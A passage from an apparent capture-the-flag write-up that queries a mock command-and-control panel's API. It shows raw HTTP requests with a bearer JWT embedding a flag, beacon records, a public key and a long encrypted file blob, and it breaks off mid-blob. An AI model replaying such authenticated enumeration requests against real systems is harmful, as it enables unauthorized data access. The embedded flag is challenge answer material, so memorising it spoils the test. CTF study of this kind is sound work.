23:25:50 UTC" "2de828f6-774f-4c6e-a334-22682a8bce1d","Boboone","11","114","2","2023-03-24 16:43:16 UTC" "3f05990d-7b74-4750-af7d-df0831da41d4","crou-stibat-art","11","87","0","2023-03-24 15:14:54 UTC" "5667bbf4-fd60-404d-b8bc-99e5aecf5ea0","Instagrave","10","87","0","2023-03-16 05:36:36 UTC" "9f424754-e6e2-418b-9dbb-09a96d6ec47e","Louis-Buaaitton","0","0","4","2023-03-10 09:27:19 UTC" "d2f2b880-1bb8-4cf3-a46e-c23e34fbdede","ESNA","4","37","1","2023-04-15 06:38:21 UTC" "52334ff3-6bef-4098-a0a9-3116709d32a0","ESNA","11","83","4","2023-04-10 15:55:52 UTC" "925f7caa-e84f-4b77-ae5d-e4165b1cda27","Carrefout","5","37","0","2023-04-13 03:31:02 UTC" "85f02fd3-439c-40b2-a0a0-3a8f568d03ec","DONNEZ LE FLAG","7","52","2","2023-03-04 17:59:54 UTC"
ID d2f2b880-1bb8-4cf3-a46e-c23e34fbdede
is ESNA then.
On /api/beacons
we obtain the public key of Morpheus.
1 2 3 4 5 6 7 8 9 10 GET /api/beacons HTTP/1.1 Host : xd33r.web.midnightflag.fr:31081Accept : */*Authorization : Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiI4MjNkZjRlNi04MWQ1LTQzZDAtOWZiNi1kY2U0MDMwNWJlNmYiLCJsb2dnZWQiOnRydWUsImZsYWciOiJNQ1RGezJGQV9jMGRlX3NoMHVsZF9yM200MW5fczNjcjN0PyF9IiwiaWF0IjoxNjgxNjA3OTUxLCJleHAiOjE2ODE2MTE1NTF9.V5oJonY-_lFKl6158Vs9tcC9IF2BvZSPnuqWdAxLv7IUser-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.50 Safari/537.36Origin : http://xd33r.web.midnightflag.fr:31080Referer : http://xd33r.web.midnightflag.fr:31080/Accept-Encoding : gzip, deflateAccept-Language : en-US,en;q=0.9Connection : close
1 2 3 4 5 6 7 8 9 10 11 12 HTTP/1.1 200 OKcontent-length : 18837connection : closevary : Origin, Access-Control-Request-Method, Access-Control-Request-Headerscontent-type : application/jsonaccess-control-allow-origin : http://xd33r.web.midnightflag.fr:31080access-control-allow-credentials : truedate : Sun, 16 Apr 2023 01:24:52 GMT... {"computers" :4 ,"date" :"2023-04-15T06:38:21Z" ,"files" :37 ,"id" :"d2f2b880-1bb8-4cf3-a46e-c23e34fbdede" ,"name" :"ESNA" ,"public_key" :"LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUFuTTF1NkYyODh3MENNOXdGNWlrSApxU2RpdUw5Z1NFY2J5TGhMV09xQ0haa3RqUDk0UTZKNzJ5NkY1T1dQSElrWHpKR0Rrd1Q0U21NaFdpcGlFVkJ5CjRwMEJPVWRRYkNUcVI4bjJDUmUvR3JIeFJzand1NU1FUnpYVUJmeHFPSHFhT1I5OTRVR0RrOCtDaS8zQStDODAKczY0N2JpY00zYWdHaGFCS2lZclBoNmFnWHdYQnVhQVNGbUs1dlRLRlVPNVBNOVk5dXhhd0s0dUZyNlVHc25TNgpHcjd5M2lYV3pJQmExZjF4Qkp3VC9UaXJBME9nb29mV0dJRnlqZjYvSkZuZ2lxaFBEQitMbW9wS0hVVEk5RzFqClQ4dGNObVVwVkk1UTJqU1ZITVdqeWRNUXZ0dmNORDNkVGQyOGVqUE1sUnVTZ0lPNG1nRkF3Qm8zZEZySHZJMFkKandJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0t" ,"state" :1 }, ...
Then with a request to the right UUID we can get all info about computers, files, settings.
1 2 3 4 5 6 7 8 9 10 11 GET /api/beacon/d2f2b880-1bb8-4cf3-a46e-c23e34fbdede/infos HTTP/1.1 Host : xd33r.web.midnightflag.fr:31081Accept : */*Authorization : Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiI4MjNkZjRlNi04MWQ1LTQzZDAtOWZiNi1kY2U0MDMwNWJlNmYiLCJsb2dnZWQiOnRydWUsImZsYWciOiJNQ1RGezJGQV9jMGRlX3NoMHVsZF9yM200MW5fczNjcjN0PyF9IiwiaWF0IjoxNjgxNjA3OTUxLCJleHAiOjE2ODE2MTE1NTF9.V5oJonY-_lFKl6158Vs9tcC9IF2BvZSPnuqWdAxLv7IUser-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.50 Safari/537.36Origin : http://xd33r.web.midnightflag.fr:31080Referer : http://xd33r.web.midnightflag.fr:31080/Accept-Encoding : gzip, deflateAccept-Language : en-US,en;q=0.9Connection : close
I won't put the output, it's way too large.
We can find the flag file:
1 78f39cf1-785e-4212-bfca-4de9ab36bbcb b16e17f3-e3c3-4bd2-b053-f5150785e51f flag.png
1 2 3 4 5 6 7 8 9 10 GET /api/file/78f39cf1-785e-4212-bfca-4de9ab36bbcb HTTP/1.1 Host : xd33r.web.midnightflag.fr:31081Accept : */*Authorization : Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiI4MjNkZjRlNi04MWQ1LTQzZDAtOWZiNi1kY2U0MDMwNWJlNmYiLCJsb2dnZWQiOnRydWUsImZsYWciOiJNQ1RGezJGQV9jMGRlX3NoMHVsZF9yM200MW5fczNjcjN0PyF9IiwiaWF0IjoxNjgxNjA3OTUxLCJleHAiOjE2ODE2MTE1NTF9.V5oJonY-_lFKl6158Vs9tcC9IF2BvZSPnuqWdAxLv7IUser-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.50 Safari/537.36Origin : http://xd33r.web.midnightflag.fr:31080Referer : http://xd33r.web.midnightflag.fr:31080/Accept-Encoding : gzip, deflateAccept-Language : en-US,en;q=0.9Connection : close
1 2 3 4 5 6 7 8 9 10 HTTP/1.1 200 OKcontent-length : 24830connection : closeaccess-control-allow-credentials : truevary : Origin, Access-Control-Request-Method, Access-Control-Request-Headerscontent-type : application/jsonaccess-control-allow-origin : http://xd33r.web.midnightflag.fr:31080date : Sun, 16 Apr 2023 01:33:02 GMT{"data":{"file":{"computer_id":"b16e17f3-e3c3-4 bd2-b053-f5150785e51f","content":"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 v6zNkipnaHT4K5a9ybs0Bry+8 fH8eST0mHMkxbl9hHvpfXDzQwLNBNnr3RX+25 I2zPmwjrZfxqXlOGZS4PU59oKTkTbQVivUiZb13/9p+n+IOiFrKW8zyVeAuw5Pvy1TPS4qxUAcWhhYljppzRmiLYbPsm6utRnjIp/tUbSHpq2uMNQOG0DbMGKshrLfxmJZN0M0E9poLscBgA03D4e42qKZFIduV3H5J5SZPlGQaPGRZzndZw/tHIawv6A4mgXIWyhHqrAaGgBzZedVOFOd9zwYxELZ4ONkJ4Hl2Vwq43OnmrUM+O1nE4cvwUJlXui7ggbGW54nCaK6L0haXAKRPnwFHU/aabRHVgIyoYCcwIZA7BB9YAlkmnKL1MP4FGYMchJOtseoZGsj8Y86avu7mFKgzqDXavLTeehXCQ2/NRgc6dxuJ9U3LomKrAtTnuPH9WPlPPn0mFDbDDDbTG8ZWFr/5jlzGME/blmLI64jOOjX9znunWyAdnHy4rs9fKfDk4s1xZHxcEh+Fu+FtJeh2RPpAIFyntfWK+0 xeJWs8Bc+300 nyW6wmH3BE0VUxXz8f3rWoqEXnYGazTPN7stI2djj8IpQkxhSNjgz8a7sexcgOoxslTAXwoIyk6hGXZYZ8LDp6QjSzNDMgLf08GTZS8hCRU7PhX9Kbw90/myaZBRuj33vUwTKyeciEajqARWrUtQDltOd8KvdMtj/Gck1u/QzzWydrqXm9q/mtffje+MCR6Fr69pgB50+yLKMEtHP9DATpNyLhXLEYf4187hgnLyVPPa/GLgj9sHwkCjsJ9QAWn6RO/XNKYkViDoNlBh5e6pC8FdNQi/haCRlDpLVjetE/pDIKCvoRjzdiRwPRNn2NYUu9J9ZIjJFvHFzqe1e3bLQbBBPuIdBJfa+QISC4lMkF9yOWSHVva4AU9xpVFtYgDC02wpQDXGjBR5jE3Q70QuhS5jQ5BsYVJdiZDR9Rcydie7MbzX2vPlHJmBEzdtVRKqhcxmvPD7sp210tYMAePdg+mouMHl/Rkc26SaSAiL2fYLzrELWOh7C75+U6f5gtUP5X+FNIUEPbB3I7GR1/CKtx1Rw85aKr0WGnxr0JOQka4W53dXQcbyJ8PB946aMKr26I5s+1 Huygh+7 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 